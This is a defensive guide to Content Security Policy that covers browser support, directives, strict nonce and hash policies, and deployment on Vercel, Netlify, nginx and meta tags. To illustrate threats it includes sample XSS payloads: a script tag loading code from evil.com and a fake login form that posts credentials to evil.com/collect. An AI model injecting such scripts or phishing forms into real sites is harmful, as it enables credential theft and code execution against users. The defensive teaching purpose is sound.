Content Security Policy (CSP)
This article brings forth a way to integrate the defense in depth concept to the client-side of web applications.
Table of contents 11 items
Browser support
| Feature | Desktop | Mobile | ||||
|---|---|---|---|---|---|---|
| Chrome | Edge | Firefox | Safari | Chrome Android | Safari iOS | |
| 61 | 79 | 75 | 15.5 | 61 | 15.5 | |
csp Experimental | 61 | 79 | | | 61 | |
| DOM API | ||||||
| The securitypolicyviolation event is fired when a Content Security Policy is violated. | 76 | 79 | 93 | 15.4 | 76 | 15.4 |
| The securitypolicyviolation event is fired when a Content Security Policy is violated. | 41 | 15 | 63 | 10 | 41 | 10 |
| The nonce property of the HTMLElement interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed. | 61 | 79 | 75 | 15.4 | 61 | 15.4 |
csp Experimental The csp property of the HTMLIFrameElement interface specifies the Content Security Policy that an embedded document must agree to enforce upon itself. | 61 | 79 | | | 61 | |
| The SecurityPolicyViolationEvent interface inherits from Event, and represents the event object of a securitypolicyviolation event sent on an Element/securitypolicyviolationevent, Document/securitypolicyviolationevent, or WorkerGlobalScope/securitypolicyviolation_event when its Content Security Policy (CSP) is violated. | 41 | 15 | 63 | 10 | 41 | 10 |
| The blockedURI read-only property of the SecurityPolicyViolationEvent interface is a string representing the URI of the resource that was blocked because it violates a Content Security Policy (CSP). | 41 | 15 | 63 | 10 | 41 | 10 |
| The columnNumber read-only property of the SecurityPolicyViolationEvent interface is the character position in the source file line of the document or worker script at which the Content Security Policy (CSP) violation occurred. | 41 | 15 | 63 | 10 | 41 | 10 |
| The disposition read-only property of the SecurityPolicyViolationEvent interface indicates how the violated Content Security Policy (CSP) is configured to be treated by the user agent. | 56 | 79 | 63 | 15 | 56 | 15 |
| The documentURI read-only property of the SecurityPolicyViolationEvent interface is a string representing the URI of the document or worker in which the Content Security Policy (CSP) violation occurred. | 41 | 15 | 63 | 10 | 41 | 10 |
| The effectiveDirective read-only property of the SecurityPolicyViolationEvent interface is a string representing the Content Security Policy (CSP) directive that was violated. | 41 | 15 | 63 | 10 | 41 | 10 |
| The lineNumber read-only property of the SecurityPolicyViolationEvent interface is the line number in the document or worker script at which the Content Security Policy (CSP) violation occurred. | 41 | 15 | 63 | 10 | 41 | 10 |
| The originalPolicy read-only property of the SecurityPolicyViolationEvent interface is a string containing the Content Security Policy (CSP) whose enforcement uncovered the violation. | 41 | 15 | 63 | 10 | 41 | 10 |
| The referrer read-only property of the SecurityPolicyViolationEvent interface is a string representing the referrer for the resources whose Content Security Policy (CSP) was violated. This will be a URL or null. | 41 | 15 | 63 | 10 | 41 | 10 |
| The sample read-only property of the SecurityPolicyViolationEvent interface is a string representing a sample of the resource that caused the Content Security Policy (CSP) violation. | 59 | 79 | 63 | 15 | 59 | 15 |
| The SecurityPolicyViolationEvent() constructor creates a new SecurityPolicyViolationEvent object. | 41 | 15 | 63 | 10 | 41 | 10 |
| The sourceFile read-only property of the SecurityPolicyViolationEvent interface is a string representing the URL of the script in which the Content Security Policy (CSP) violation occurred. | 41 | 15 | 63 | 10 | 41 | 10 |
| The statusCode read-only property of the SecurityPolicyViolationEvent interface is a number representing the HTTP status code of the window or worker in which the Content Security Policy (CSP) violation occurred. | 41 | 15 | 63 | 10 | 41 | 10 |
| The violatedDirective read-only property of the SecurityPolicyViolationEvent interface is a string representing the Content Security Policy (CSP) directive that was violated. | 41 | 15 | 63 | 10 | 41 | 10 |
worker_support Available in workers | 56 | 15 | 63 | | 56 | |
| The securitypolicyviolation event is fired when a Content Security Policy is violated in a worker. | 41 | 15 | 63 | 10 | 41 | 10 |
| Other | ||||||
html.elements.meta.http-equiv.content-security-policy http-equiv="content-security-policy" | ≤59 | 12 | 1 | ≤10.1 | ≤59 | ≤10.3 |
| The HTTP Content-Security-Policy response header allows website administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. This helps guard against cross-site scripting attacks. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy-Report-Only response header helps to monitor Content Security Policy (CSP) violations and their effects without enforcing the security policies. This header allows you to test or repair violations before a specific Content-Security-Policy is applied and enforced. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy base-uri directive restricts the URLs which can be used in a document's base element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the base element. | 40 | 79 | 35 | 10 | 40 | 9.3 |
| The HTTP Content-Security-Policy (CSP) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as frame and iframe. For workers, non-compliant requests are treated as fatal network errors by the user agent. | 40 | 15 | 45 | 10 | 40 | 9.3 |
| The HTTP Content-Security-Policy (CSP) connect-src directive restricts the URLs which can be loaded using script interfaces. The following APIs are controlled by this directive: | 25 | 14 | 50 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) default-src directive serves as a fallback for the other CSP fetch directive. For each of the following directives that are absent, the user agent looks for the default-src directive and uses this value for it: | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) font-src directive specifies valid sources for fonts loaded using @font-face. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) form-action directive restricts the URLs which can be used as the target of form submissions from a given context. | 40 | 15 | 36 | 10 | 40 | 9.3 |
| The HTTP Content-Security-Policy (CSP) frame-ancestors directive specifies valid parents that may embed a page using frame, iframe, object, or embed. | 40 | 15 | 58 | 10 | 40 | 9.3 |
| The HTTP Content-Security-Policy (CSP) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as frame and iframe. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy img-src directive specifies valid sources of images and favicons. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy manifest-src directive specifies which manifest can be applied to the resource. | 40 | 79 | 41 | 11 | 40 | 11 |
| The HTTP Content-Security-Policy (CSP) media-src directive specifies valid sources for loading media using the audio and video elements. | 25 | 14 | 23 | 7 | 25 | 7 |
http.headers.Content-Security-Policy.meta-element-support `<meta>` element support | 25 | ≤18 | 45 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy object-src directive specifies valid sources for the object and embed elements. | 25 | 14 | 23 | 7 | 25 | 7 |
http.headers.Content-Security-Policy.report-sample `report-sample` source value | 59 | 79 | 63 | 15.4 | 59 | 15.4 |
| The Content-Security-Policy report-to directive indicates the name of the endpoint that the browser should use for reporting CSP violations. | 70 | 79 | 149 | 16.4 | 70 | 16.4 |
| The HTTP Content-Security-Policy (CSP) sandbox directive enables a sandbox for the requested resource similar to the iframe sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. | 25 | 14 | 50 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) script-src directive specifies valid sources for JavaScript. This includes not only URLs loaded directly into script elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) script-src-attr directive specifies valid sources for JavaScript inline event handlers. | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
| The HTTP Content-Security-Policy (CSP) script-src-elem directive specifies valid sources for JavaScript script elements. | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
http.headers.Content-Security-Policy.script-src.external_scripts External scripts with hash | 59 | 79 | 116 | 15.6 | 59 | 15.6 |
http.headers.Content-Security-Policy.script-src.wasm-unsafe-eval Source expression allowing WebAssembly execution | 97 | 97 | 102 | 16 | 97 | 16 |
http.headers.Content-Security-Policy.strict-dynamic `strict-dynamic` source value | 52 | 79 | 52 | 15.4 | 52 | 15.4 |
| The HTTP Content-Security-Policy (CSP) style-src directive specifies valid sources for stylesheets. | 25 | 14 | 23 | 7 | 25 | 7 |
| The HTTP Content-Security-Policy (CSP) style-src-attr directive specifies valid sources for inline styles applied to individual DOM elements. | 75 | 79 | 108 | 15.4 | 75 | 15.4 |
| The HTTP Content-Security-Policy (CSP) style-src-elem directive specifies valid sources for stylesheet style elements and link elements with rel="stylesheet". | 75 | 79 | 108 | 26.2 | 75 | 26.2 |
http.headers.Content-Security-Policy.unsafe-hashes `unsafe-hashes` source value | 69 | 79 | 109 | 15.4 | 69 | 15.4 |
http.headers.Content-Security-Policy.worker_support Worker support | 56 | 79 | 50 | 10 | 56 | 10 |
| The HTTP Content-Security-Policy (CSP) worker-src directive specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts. | 59 | 79 | 58 | 15.5 | 59 | 15.5 |
- This browser only partially implements this feature
- This feature was removed in a later browser version (75)
- Firefox does not prevent `nonce` exfiltration through content attributes.
- This browser only partially implements this feature
- This feature was removed in a later browser version (15.5)
- Safari does not prevent `nonce` exfiltration through content attributes.
- This browser only partially implements this feature
- This feature was removed in a later browser version (15.5)
- Safari on iOS does not prevent `nonce` exfiltration through content attributes.
- This browser only partially implements this feature
- This feature was removed in a later browser version (15.4)
- The property is defined only for its useful elements: `<link>`, `<script>`, and `<style>`; it is undefined for all other elements.
- This browser only partially implements this feature
- This feature was removed in a later browser version (15.4)
- The property is defined only for its useful elements: `<link>`, `<script>`, and `<style>`; it is undefined for all other elements.
- Previously available under a different name: X-Webkit-CSP (14)
- Previously available under a different name: X-Content-Security-Policy (4)
- Previously available under a different name: X-Webkit-CSP (6)
- Previously available under a different name: X-Webkit-CSP (18)
- Previously available under a different name: X-Webkit-CSP (6)
- This browser only partially implements this feature
- This feature was removed in a later browser version (50)
- Before Firefox 50, ping attributes of <a> elements weren't covered by connect-src.
- This browser only partially implements this feature
- This feature was removed in a later browser version (58)
- Before Firefox 58, `frame-ancestors` is ignored in `Content-Security-Policy-Report-Only`.
- This browser only partially implements this feature
- This feature was removed in a later browser version (26.2)
- The `style-src-elem` directive was parsed, but had no effect. See bug 276931.
- This browser only partially implements this feature
- This feature was removed in a later browser version (26.2)
- The `style-src-elem` directive was parsed, but had no effect. See bug 276931.
- Chrome 59 and higher skips the deprecated `child-src` directive.
- Chrome Android 59 and higher skips the deprecated `child-src` directive.
Introduction
This article brings forth a way to integrate the defense in depth concept to the client-side of web applications. By injecting the Content-Security-Policy (CSP) headers from the server, the browser is aware and capable of protecting the user from dynamic calls that will load content into the page currently being visited.
Threat Context
The increase in XSS (Cross-Site Scripting), clickjacking, and cross-site leak vulnerabilities demands a more defense in depth security approach.
Defense against XSS
CSP defends against XSS attacks in the following ways:
1. Restricting Inline Scripts
By preventing the page from executing inline scripts, attacks like injecting
<script>document.body.innerHTML='defaced'</script>
will not work.
2. Restricting Remote Scripts
By preventing the page from loading scripts from arbitrary servers, attacks like injecting
<script src="https://evil.com/hacked.js"></script>
will not work.
3. Restricting Unsafe JavaScript
By preventing the page from executing text-to-JavaScript functions like eval, the website will be safe from vulnerabilities like the this:
// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);
4. Restricting Form submissions
By restricting where HTML forms on your website can submit their data, injecting phishing forms won't work either.
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>
<label>Password</label>
<input type="password" name="pass"/>
<input type="Submit" value="Login"/>
</form>
5. Restricting Objects
And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.
Defense against framing attacks
Attacks like clickjacking and some variants of browser side-channel attacks (xs-leaks) require a malicious website to load the target website in a frame.
Historically the X-Frame-Options header has been used for this, but it has been obsoleted by the frame-ancestors CSP directive.
Defense in Depth
A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS. Although CSP doesn't prevent web applications from containing vulnerabilities, it can make those vulnerabilities significantly more difficult for an attacker to exploit.
Even on a fully static website, which does not accept any user input, a CSP can be used to enforce the use of Subresource Integrity (SRI). This can help prevent malicious code from being loaded on the website if one of the third-party sites hosting JavaScript files (such as analytics scripts) is compromised.
With all that being said, CSP should not be relied upon as the only defensive mechanism against XSS. You must still follow good development practices such as the ones described in Cross-Site Scripting Prevention Cheat Sheet, and then deploy CSP on top of that as a bonus security layer.
Implementation Policy Delivery
You can deliver a Content Security Policy to your website in three ways.
1. Content-Security-Policy Header
Send a Content-Security-Policy HTTP response header from your web server.
Content-Security-Policy: ...
Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.
This is a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+
2. Content-Security-Policy-Report-Only Header
Using the Content-Security-Policy-Report-Only, you can deliver a CSP that doesn't get enforced.
Content-Security-Policy-Report-Only: ...
Still, violation reports are printed to the console and delivered to a violation endpoint if the report-to and report-uri directives are used.
This is also a W3C Spec standard header. Supported by Firefox 23+, Chrome 25+ and Opera 19+, whereby the policy is non-blocking ("fail open") and a report is sent to the URL designated by the report-uri (or newer report-to) directive. This is often used as a precursor to utilizing CSP in blocking mode ("fail closed")
Browsers fully support the ability of a site to use both Content-Security-Policy and Content-Security-Policy-Report-Only together, without any issues. This pattern can be used for example to run a strict Report-Only policy (to get many violation reports), while having a looser enforced policy (to avoid breaking legitimate site functionality).
3. Content-Security-Policy Meta Tag
Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.
In this case, you can still use CSP by specifying a http-equiv meta tag in the HTML markup, like so:
<meta http-equiv="Content-Security-Policy" content="...">
Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.
⚠️ WARNING
DO NOT use
X-Content-Security-PolicyorX-WebKit-CSP. Their implementations are obsolete (since Firefox 23, Chrome 25), limited, inconsistent, and incredibly buggy.
Best practice CSP Types (granular/allowlist based or strict)
The original mechanism for building a CSP involved creating allow-lists which would define the content and sources that were permitted in the context of the HTML page.
However, current leading practice is to create a "Strict" CSP which is much easier to deploy and more secure as it is less likely to be bypassed.
Best practice Strict CSP
A strict CSP can be created by using a limited number of the granular Fetch Directives listed below along with one of two mechanisms:
- Nonce based
- Hash based
The strict-dynamic directive can optionally also be used to make it easier to implement a Strict CSP.
The following sections will provide some basic guidance to these mechanisms but it is strongly recommended to follow Google's detailed and methodological instructions for creating a Strict CSP:
Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)
Nonce based
Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:
const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:
<script nonce="<%= nonce %>">
...
</script>
⚠️ Warning
Don't create a middleware that replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.
Hashes
When inline scripts are required, the script-src 'hash_algo-hash' is another option for allowing only specific scripts to execute.
Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='
To get the hash, look at Google Chrome developer tools for violations like this:
❌ Refused to execute inline script because it violates the following Content Security Policy directive: "..." Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce...
You can also use this hash generator. This is a great example of using hashes.
⚠️ Note
Using hashes can be a risky approach. If you change anything inside the script tag (even whitespace) by, e.g., formatting your code, the hash will be different, and the script won't render.
strict-dynamic
The strict-dynamic directive can be used as part of a Strict CSP in combination with either hashes or nonces.
If a script block which has either the correct hash or nonce is creating additional DOM elements and executing JS inside of them, strict-dynamic tells the browser to trust those elements as well without having to explicitly add nonces or hashes for each one.
Note that whilst strict-dynamic is a CSP level 3 feature, CSP level 3 is very widely supported in common, modern browsers.
For more details, check out strict-dynamic usage.
Detailed CSP Directives
Multiple types of directives exist that allow the developer to control the flow of the policies granularly. Note that creating a non-Strict policy that is too granular or permissive is likely to lead to bypasses and a loss of protection.
Fetch Directives
Fetch directives tell the browser the locations to trust and load resources from.
Most fetch directives have a certain fallback list specified in w3. This list allows for granular control of the source of scripts, images, files, etc.
child-srcallows the developer to control nested browsing contexts and worker execution contexts.connect-srcprovides control over fetch requests, XHR, eventsource, beacon and websockets connections.font-srcspecifies which URLs to load fonts from.img-srcspecifies the URLs that images can be loaded from.manifest-srcspecifies the URLs that application manifests may be loaded from.media-srcspecifies the URLs from which video, audio and text track resources can be loaded from.prefetch-srcspecifies the URLs from which resources can be prefetched from.object-srcspecifies the URLs from which plugins can be loaded from.script-srcspecifies the locations from which a script can be executed from. It is a fallback directive for other script-like directives.script-src-elemcontrols the location from which execution of script requests and blocks can occur.script-src-attrcontrols the execution of event handlers.
style-srccontrols from where styles get applied to a document. This includes<link>elements,@importrules, and requests originating from aLinkHTTP response header field.style-src-elemcontrols styles except for inline attributes.style-src-attrcontrols styles attributes.
default-srcis a fallback directive for the other fetch directives. Directives that are specified have no inheritance, yet directives that are not specified will fall back to the value ofdefault-src.
Document Directives
Document directives instruct the browser about the properties of the document to which the policies will apply to.
base-urispecifies the possible URLs that the<base>element can use.plugin-typeslimits the types of resources that can be loaded into the document (e.g.application/pdf). 3 rules apply to the affected elements,<embed>and<object>:- The element needs to explicitly declare its type.
- The element's type needs to match the declared type.
- The element's resource needs to match the declared type.
sandboxrestricts a page's actions such as submitting forms.- Only applies when used with the request header
Content-Security-Policy. - Not specifying a value for the directive activates all of the sandbox restrictions.
Content-Security-Policy: sandbox; - Sandbox syntax
- Only applies when used with the request header
Navigation Directives
Navigation directives instruct the browser about the locations that the document can navigate to or be embedded from.
form-actionrestricts the URLs which the forms can submit to.frame-ancestorsrestricts the URLs that can embed the requested resource inside of<frame>,<iframe>,<object>,<embed>, or<applet>elements.- If this directive is specified in a
<meta>tag, the directive is ignored. - This directive doesn't fallback to the
default-srcdirective. X-Frame-Optionsis rendered obsolete by this directive and is ignored by the user agents.
- If this directive is specified in a
Reporting Directives
Reporting directives deliver violations of prevented behaviors to specified locations. These directives serve no purpose on their own and are dependent on other directives.
report-towhich is a group name defined in the header in a JSON formatted header value.report-uridirective is deprecated byreport-to, which is a URI that the reports are sent to.- Goes by the format of:
Content-Security-Policy: report-uri https://example.com/csp-reports
- Goes by the format of:
In order to ensure backward compatibility, use the 2 directives in conjunction. Whenever a browser supports report-to, it will ignore report-uri. Otherwise, report-uri will be used.
Special Directive Sources
| Value | Description |
|---|---|
| 'none' | No URLs match. |
| 'self' | Refers to the origin site with the same scheme and port number. |
| 'unsafe-inline' | Allows the usage of inline scripts or styles. |
| 'unsafe-eval' | Allows the usage of eval in scripts. |
To better understand how the directive sources work, check out the source lists from w3c.
CSP Sample Policies
Strict Policy
A strict policy's role is to protect against classical stored, reflected, and some of the DOM XSS attacks and should be the optimal goal of any team trying to implement CSP.
As noted above, Google went ahead and set up a detailed and methodological instructions for creating a Strict CSP.
Based on those instructions, one of the following two policies can be used to apply a strict policy:
Nonce-based Strict Policy
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Hash-based Strict Policy
Content-Security-Policy:
script-src 'sha256-{HASHED_INLINE_SCRIPT}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Basic non-Strict CSP Policy
This policy can be used if it is not possible to create a Strict Policy and it prevents cross-site framing and cross-site form-submissions. It will only allow resources from the originating domain for all the default level directives and will not allow inline scripts/styles to execute.
If your application functions with these restrictions, it drastically reduces your attack surface and works with most modern browsers.
The most basic policy assumes:
- All resources are hosted by the same domain of the document.
- There are no inlines or evals for scripts and style resources.
- There is no need for other websites to frame the website.
- There are no form-submissions to external websites.
Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';
To tighten further, one can apply the following:
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';
This policy allows images, scripts, AJAX, and CSS from the same origin and does not allow any other resources to load (e.g., object, frame, media, etc.).
Upgrading insecure requests
If the developer is migrating from HTTP to HTTPS, the following directive will ensure that all requests will be sent over HTTPS with no fallback to HTTP:
Content-Security-Policy: upgrade-insecure-requests;
Preventing framing attacks (clickjacking, cross-site leaks)
- To prevent all framing of your content use:
Content-Security-Policy: frame-ancestors 'none';
- To allow for the site itself, use:
Content-Security-Policy: frame-ancestors 'self';
- To allow for trusted domain, do the following:
Content-Security-Policy: frame-ancestors trusted.com;
Refactoring inline code
When default-src or script-src* directives are active, CSP by default disables any JavaScript code placed inline in the HTML source, such as this:
<script>
var foo = "314"
<script>
The inline code can be moved to a separate JavaScript file and the code in the page becomes:
<script src="app.js">
</script>
With app.js containing the var foo = "314" code.
The inline code restriction also applies to inline event handlers, so that the following construct will be blocked under CSP:
<button id="button1" onclick="doSomething()">
This should be replaced by addEventListener calls:
document.getElementById("button1").addEventListener('click', doSomething);
Implementation patterns
CSP is configured at the hosting / HTTP layer, not at your frontend build tool. Below are concrete examples per deployment target that you can copy directly into your project.
Vercel
Approach: Send CSP to all paths via vercel.json headers
{
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'"
}
]
}
]
}
Placement
Place vercel.json at the project root. On deploy, Vercel Edge Network attaches these headers to every response.
Source pattern
"source": "/(.*)" matches all paths. Use a more specific regex like "source": "/api/(.*)" to scope the headers.
Pitfalls
- Next.js users:
next.config.jsheaders()takes precedence. Avoid configuring in both places. - Vercel Edge Functions / Middleware may override the CSP set by
vercel.json. - Verify in production: after
vercel deploy, inspect the response headers in DevTools Network tab.
Netlify / Cloudflare Pages
Approach: Declare headers per path in _headers file (shared format across both platforms)
# Netlify / Cloudflare Pages 共通形式
# プロジェクトルート (or publish ディレクトリ) に `_headers` として配置
# ワイルドカードで全パスに CSP ヘッダーを適用
/*
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'
Placement
Netlify: Place _headers inside public/ (or your publish directory). It must end up in the build output. For Vite, public/_headers works.
Cloudflare Pages: Same _headers file. Officially supports the Netlify-compatible format.
Syntax
/*matches all paths- Indent each header by 2 spaces
- Multiple blocks can be defined per path pattern
Pitfalls
- Easy to forget
public/— a file at project root will not be included in the build output. - Conflicts with Netlify UI settings: mixing
_headersand the UI Headers section is hard to reason about. Pick one. - Verify after deploy: after
netlify deploy --prod, always check the response headers in a real browser.
nginx (自前サーバー)
Approach: Send CSP via add_header directive inside the server block
# nginx.conf server ブロックの抜粋
# 静的ビルド成果物 (Vite, Next export, etc.) を配信する想定
server {
listen 80;
server_name example.com;
root /var/www/my-spa/dist;
# ── Content Security Policy ─────────────────────────
# `always` をつけると 4xx/5xx レスポンスにもヘッダーが付与される
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'" always;
# ── SPA フォールバック ───────────────────────────────
# Client-side router 用、存在しないパスは index.html に流す
location / {
try_files $uri $uri/ /index.html;
}
}
Applying changes
Reload with nginx -s reload. Always run nginx -t first to validate the config.
The always flag
With add_header ... always, the header is attached to non-2xx responses (4xx / 5xx errors) as well. CSP is needed on error pages too, so always is almost mandatory.
SPA fallback
For client-side routing (React Router, etc.), try_files forwards non-existent paths to index.html. The CSP header still applies to all responses.
Pitfalls
add_headerinheritance gotcha: if a parent block (http, server) definesadd_headerand a location block adds another, the parent's headers are discarded in that location. Consolidate or explicitly re-declare.- Forgetting to reload: config changes don't apply until
nginx -s reload.
index.html の meta タグ (フォールバック)
Approach: Fallback for environments where HTTP headers cannot be set. Limited.
<!doctype html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!--
CSP を meta タグで指定するフォールバック。
静的ホスティングで HTTP ヘッダーを制御できない環境向け。
⚠️ 制約:
- frame-ancestors 効かない (HTTP ヘッダー必須)
- sandbox 効かない
- report-uri / report-to 効かない
可能な限り HTTP ヘッダーでの設定を推奨します。
-->
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'"
/>
<title>My SPA</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
When to use
A last resort for static hosts where HTTP headers cannot be controlled (legacy shared hosting, some GitHub Pages configurations, etc.). Prefer HTTP headers whenever possible.
⚠️ Directives that don't work
The following are ignored with the meta tag approach:
frame-ancestors— essential for clickjacking defense. Requires HTTP header.sandbox— iframe sandboxingreport-uri/report-to— CSP violation reporting
If you need any of these, meta tag is not enough.
Timing
The browser applies the CSP when it parses the <meta http-equiv> tag. Resources parsed before that point (e.g., a <script> earlier in <head>) are not affected. Place the meta tag early in <head>.
CSP Policy Learning Playground
This playground is a learning environment for experimenting with policies, not an implementation guide.
It uses Vite dev server's server.headers to let you mutate the CSP header live and observe what gets blocked. The vite.config.ts here applies only to the dev server — not to production builds. For production, see the "Implementation patterns" section above.
Glossary
- CSP
- A CSP (Content Security Policy) is used to detect and mitigate certain types of website related attacks like Cross-site_scripting, clickjacking and data injections.
- Cross-site scripting (XSS)
- A cross-site scripting (XSS) attack is one in which an attacker is able to get a target site to execute malicious code as though it was part of the website. The code can then do anything that the site's own code can do. For example, the attacker could:
- Same-origin policy
- The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin.
- CORS
- CORS (Cross-Origin Resource Sharing) is a system, consisting of transmitting HTTP_header, that determines whether browsers block frontend JavaScript code from accessing responses for cross-origin requests.
- HTTPS
- HTTPS (HyperText Transfer Protocol Secure) is an encrypted version of the HTTP protocol. It uses TLS to encrypt all communication between a client and a server. This secure connection allows clients to safely exchange sensitive data with a server, such as when performing banking activities or online shopping.
- Http header
- An HTTP header is a field of an HTTP request or response that passes additional context and metadata about the request or response. For example, a request message can use headers to indicate its preferred media formats, while a response can use header to indicate the media format of the returned body. Headers are case-insensitive, begin at the start of a…
Related links
Powered by web-features